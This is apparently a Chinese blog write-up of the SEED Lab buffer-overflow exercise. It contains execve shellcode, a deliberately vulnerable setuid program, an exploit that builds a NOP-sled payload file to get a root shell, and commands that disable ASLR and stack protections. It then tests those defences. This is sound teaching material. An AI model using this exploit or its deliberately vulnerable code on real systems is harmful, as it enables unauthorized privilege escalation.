SEEDLab-缓冲区溢出

SEEDLab-缓冲区溢出

1 实验介绍

本实验的学习目标是让学生通过把课堂上学到的缓冲区溢出知识付诸实践,从而获得对该漏洞的亲身体验。缓冲区溢出指的是程序试图把数据写入到预先分配的、固定长度缓冲区边界之外的情况。恶意用户可以利用这种漏洞改变程序的控制流,甚至执行任意代码。产生该漏洞的根源在于数据存储(例如缓冲区)与控制信息存储(例如返回地址)在内存中混合:数据部分的溢出可能会影响程序的控制流,因为溢出能够修改返回地址。

在本实验中,学生会得到一个存在缓冲区溢出漏洞的程序;任务是设计出利用该漏洞的方案并最终获取root权限。除了攻击部分外,学生还将被引导了解操作系统为对抗缓冲区溢出攻击所实现的若干防护机制,并评估这些防护是否有效以及解释其原因。

2 实验内容

2.1 初始设置

你可以使用我们预构建的Ubuntu虚拟机来执行实验任务。Ubuntu和其他一些Linux发行版实现了若干安全机制以使缓冲区溢出攻击变得困难。为了简化攻击,我们需要先关闭这些机制。 地址空间随机化。Ubuntu及其他若干基于Linux的系统使用地址空间布局随机化(ASLR)来随机化堆和栈的起始地址,这使得猜测精确地址变得困难;而猜地址是缓冲区溢出攻击的关键步骤之一。在本实验中,我们使用如下命令来关闭这些功能:

1
2
3
$ su root
Password: (enter root password)
# sysctl -w kernel.randomize_va_space=0

StackGuard保护机制。GCC编译器实现了一种名为“Stack Guard”的安全机制以防止缓冲区溢出。在启用该保护的情况下,缓冲区溢出攻击通常无法奏效。如果要禁用此保护,可以在编译程序时使用-fno-stack-protector选项。例如,要在禁用Stack Guard的情况下编译example.c,可以使用以下命令:

1
$ gcc -fno-stack-protector example.c

非可执行栈。Ubuntu以前允许可执行栈,但现在情况已改变:程序的二进制镜像(以及共享库)必须声明它们是否需要可执行栈,也就是在程序头中标记相应字段。内核或动态链接器会根据该标记决定运行时是否将该程序的栈设置为可执行或不可执行。较新版本的gcc会自动完成该标记,默认情况下栈被设置为不可执行。若要更改此行为,请在编译程序时使用以下选项: 要生成可执行栈:

1
$ gcc -z execstack -o test test.c

要生成不可执行栈:

1
$ gcc -z noexecstack -o test test.c

2.2 Shellcode

在开始攻击之前,你需要一个shellcode。shellcode是用来启动一个shell的代码。它必须被加载到内存中,这样我们才能强制易受攻击的程序跳转到它。考虑下面这个程序:

1
2
3
4
5
6
7
#include <stdio.h>
int main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}

我们使用的shellcode只是上面程序的汇编版本。下面的程序展示了如何通过执行存放在缓冲区中的shellcode来启动一个shell。请编译并运行下面的代码,看看是否会弹出一个shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/* call_shellcode.c */
/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char code[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x50" /* Line 2: pushl %eax */
"\x68""//sh" /* Line 3: pushl $0x68732f2f */
"\x68""/bin" /* Line 4: pushl $0x6e69622f */
"\x89\xe3" /* Line 5: movl %esp,%ebx */
"\x50" /* Line 6: pushl %eax */
"\x53" /* Line 7: pushl %ebx */
"\x89\xe1" /* Line 8: movl %esp,%ecx */
"\x99" /* Line 9: cdq */
"\xb0\x0b" /* Line 10: movb $0x0b,%al */
"\xcd\x80" /* Line 11: int $0x80 */
;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}

请使用下面的命令来编译这段代码(别忘了execstack选项):

1
$ gcc -z execstack -o call_shellcode call_shellcode.c

这个shellcode中有几处值得说明。首先,第三条指令向栈中压入的是“//sh“而不是“/sh“。这是因为我们这里需要一个32位的常量,而“/sh“只有24位(3个字符),不能直接作为32位立即数压入。幸运的是,“//“等价于”/”,因此使用双斜杠可以凑成32位并且不改变路径含义。其次,在调用execve()系统调用之前,我们需要把name[0](字符串地址)、name(数组地址)和NULL分别放到寄存器%ebx、%ecx和%edx中。文中所示的第5行把name[0]存入%ebx;第8行把name存入%ecx;第9行把%edx置为0。将%edx置0的方法有很多(例如xorl %edx, %edx);这里用到的cdq指令只是更短的一条:它将EAX寄存器的符号位(第31位,当前EAX为0)复制到EDX的每一位,实际上把%edx设为0。第三点,execve()系统调用是在把%al(即EAX的低8位)设置为11后,通过执行int $0x80来触发的(11即execve的系统调用号)。

图1 运行shellcode汇编指令获得shell

2.3 漏洞程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[24];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

将上述易受攻击的程序编译并使其具有root的UID。你可以在root账户下完成编译,然后将可执行文件的权限改为4755(别忘了在编译时加入-z execstack和-fno-stack-protector选项,以关闭非可执行栈和StackGuard保护):

1
2
3
4
5
$ su root
Password (enter root password)
# gcc -o stack -z execstack -fno-stack-protector stack.c
# chmod 4755 stack
# exit

上述程序存在缓冲区溢出漏洞。它首先从名为“badfile”的文件读取输入,然后在函数bof()中将该输入传给另一个缓冲区。原始输入最多可达517字节,但bof()中的缓冲区只有12字节长。由于strcpy()不检查边界,会发生缓冲区溢出。因为该程序是一个set-root-uid程序,如果普通用户能利用这个缓冲区溢出漏洞,普通用户可能会获得一个root shell。需要注意的是,程序的输入来自名为“badfile”的文件,该文件由用户控制。现在,我们的目标是构造“badfile”的内容,使得当易受攻击的程序将内容复制到其缓冲区时,能够生成一个root shell。 给教师:为了检验学生是否真正掌握了如何实施该攻击,在演示时请要求学生将易受攻击程序stack.c中的缓冲区大小从12改为另一个数字。如果学生真正理解了该攻击,他们应当能够相应地修改他们的攻击代码并成功发动攻击。

2.4 任务一:利用漏洞

我们为你提供了一个名为exploit.c的部分完成的利用代码。该代码的目标是构造badfile的内容。在这段代码中,shellcode已经给出,你需要完成剩下的部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]="\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

在你完成上述程序后,编译并运行它。这将生成badfile的内容。然后运行易受攻击的程序stack。如果你的利用代码实现正确,你应该能够获得一个root shell。

重要提示:请先编译你的易受攻击程序。请注意,用来生成badfile的程序exploit.c可以在默认启用Stack Guard保护的情况下编译,因为我们不会在该程序中发生缓冲区溢出。我们要溢出的缓冲区在stack.c中,而stack.c是以禁用Stack Guard保护的方式编译的。

1
2
3
4
$ gcc -o exploit exploit.c
$./exploit // create the badfile
$./stack // launch the attack by running the vulnerable program
# <---- Bingo! You’ve got a root shell!

需要注意的是,尽管你已经得到了“#”提示符,但你的真实用户ID仍然是你自己(当前的有效用户ID已是root)。你可以通过输入以下命令来检查:

1
2
# id
uid=(500) euid=0(root)

许多命令在以Set-UID root进程身份执行时会表现得不同于直接以root身份执行,因为它们会检测到真实用户ID并非root。为了解决这个问题,你可以运行以下程序将真实用户ID也改为root。这样,你就拥有了一个真正的root进程,其权限更强。

1
2
3
4
void main()
{
setuid(0); system("/bin/sh");
}

要成功获得root shell,流程如下:首先将shellcode输入栈中,可以借助写入badfile来实现;之后是修改bof()函数栈帧的返回地址,将其定位到shellcode。 shellcode已经在exploit.c中,将shellcode写在badfile的最后部分即可。而要做到第二步,需要确定返回地址在栈中的相对位置以及shellcode的地址。 如图2,编译stack.c并将其设置为Set-UID程序,之后使用gdb进行调试。

图2 编译并设置Set-UID位

图3 使用gdb调试获取栈中的信息 如图3,在bof()函数处设置断点,反编译bof()函数,从汇编代码对strcpy()的调用中可以看出buffer的位置在ebp的-20字节处。运行程序,将在bof()开始时停下,此时查看ebp的值为0xbffff148。即bof()栈帧的栈顶为0xbffff148。

图4 构造程序输入 下一步是构造程序输入,如图4所示,先用0x90(NOP指令)填充整个输入,这样就使得即使跳转的地址与shellcode的实际起始地址有偏差,只要落到NOP的范围内,就能最终执行到shellcode。之后计算目的地址,将ebp的值加8,跳过主调函数栈地址(4字节)以及当前栈帧(4字节),应当是0xbffff150,将该地址放置在输入的第36字节处(buffer首地址到栈帧的距离为0x20字节),用以精准覆盖返回地址。实际上,由于添加了NOP指令,目的地址还可以适当增大提高成功率,避免gdb环境与shell环境产生差别,所以这里取0xbffff1a0。最后,将shellcode放置在输入中,构造完毕,程序会将输入保存在badfile文件中。

图5 构造程序输入 如图5所示,运行exploit获得badfile,再运行stack攻击成功。进一步地,为了拥有一个真正的root进程,需要将uid也修改为root,此时要在shellc

1
2
3
char sc[] = /* 7 + 23 = 30 bytes */
"\x6a\x17\x58\x31\xdb\xcd\x80" //setuid(0);
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"; //execve(“\bin\\sh”,[“\bin\\sh”],0);

图6 修改uid同时获得root 使用新的shellcode进行攻击,结果如图6所示,uid同样被修改成了root。

2.4 任务二:地址随机化

现在我们重新开启Ubuntu的地址随机化,并运行在任务1中开发的相同攻击。你能获得shell吗?如果不能,问题出在哪里?地址随机化是如何使你的攻击变得困难的?你应在实验报告中描述你的观察和解释。你可以使用以下指令来开启地址随机化:

1
2
3
$ su root
Password: (enter root password)
# /sbin/sysctl -w kernel.randomize_va_space=2

如果第一次运行易受攻击的程序没有得到root shell,反复多次运行会有用吗?你可以在下面的循环中反复运行./stack,看看会发生什么。如果你的利用程序设计得当,经过一段时间后你应该能够得到root shell。你也可以修改利用程序以提高成功概率(即减少需要等待的时间)。

1
$ sh -c "while [ 1 ]; do ./stack; done;

首先,重新打开ASLR,编写脚本,使stack程序循环运行,尽管开启了地址随机化,但是只要运行次数足够多,就能遇到随机后的地址正好与任务一中相同的情况。 图7 修改uid同时获得root 如图7,运行28000次之后攻击成功,获得root shell。

2.4 任务三:Stack Guard

在开始本任务之前,记得先关闭地址随机化,否则你无法判断是哪种保护机制起了作用。

在之前的任务中,我们在编译程序时关闭了GCC的“Stack Guard”保护机制。在本任务中,你可以在启用Stack Guard的情况下重新做一次任务1。为此,你应当在编译时不要使用-fno-stack-protector选项。具体来说,你将重新编译易受攻击程序stack.c,启用GCC的Stack Guard,然后再次执行任务1,并报告你的观察结果。你可以在报告中列出任何出现的错误信息。

在GCC 4.3.3及更高版本中,Stack Guard默认是启用的,因此如果想关闭它需要使用前面提到的开关。在更早的版本中,默认是关闭的,所以如果你使用较旧的GCC版本,可能不需要手动关闭Stack Guard。

图8 检测到栈溢出 如图,在编译时打开Stack Guard保护,Stack Guard保护将在缓冲区与返回地址间放置一个哨兵值。程序使用一个秘密数来初始化guard。这个秘密数来自一个随机数,程序的每一次运行都产生不同的随机数,因此它是不可预测的。当缓冲区溢出导致返回地址被修改时,guard的值也一定会改变。如图,程序检测到了栈溢出,被强制停止。

2.5 任务四:栈不可执行

在开始本任务之前,记得先关闭地址随机化,否则你无法判断是哪种保护机制起了作用。

在之前的任务中,我们故意将栈设置为可执行。在本任务中,我们重新使用-z noexecstack(noexecstack)选项重新编译易受攻击的程序,并重复任务1中的攻击。你能得到shell吗?如果不能,问题出在哪里?这种保护机制是如何使你的攻击变得困难的?你应在实验报告中描述你的观察与解释。你可以使用下面的指令来开启非可执行栈保护。

1
gcc -o stack -fno-stack-protector -z noexecstack stack.c

需要注意的是,不可执行栈只是使得在栈上运行shellcode变得不可能,但它并不能阻止缓冲区溢出攻击本身,因为在利用缓冲区溢出后还有其他方法可以执行恶意代码。return-to-libc(返回到libc)攻击就是一个例子。我们为那类攻击单独设计了一个实验。如果你感兴趣,请参阅我们的Return-to-Libc Attack Lab以获取详细信息。

如果你使用的是我们提供的Ubuntu 12.04虚拟机,是否能生效取决于CPU与虚拟机的设置,因为这项保护依赖于CPU提供的硬件特性。如果你发现不可执行栈保护不起作用,请查看实验网页上链接的文档(“Notes on Non-Executable Stack”),看文档中的说明能否解决你的问题;如果不能,你可能需要自行排查并解决该问题。

图9 打开栈不可执行,引发错误 在默认情况下,一个程序的栈是不可执行的,因而在栈上注入的恶意代码也是无法执行的。gcc编译器在编译程序时会给产生的二进制执行代码打上一个特殊标志,告诉操作系统它的栈是否可以执行。默认设置为不可执行,但-z execstack选项设置栈为可执行的。

当使用-z noexecstack选项时,栈会被设置成为不可执行的,即使被跳转到指定的地址,因为shellcode在栈上,也无法执行。如图,打开栈不可执行的程序无法攻击成功。


SEEDLab-缓冲区溢出
https://eleco.top/2025/10/24/SEEDLab-缓冲区溢出/
作者
Eleco
发布于
2025年10月24日
许可协议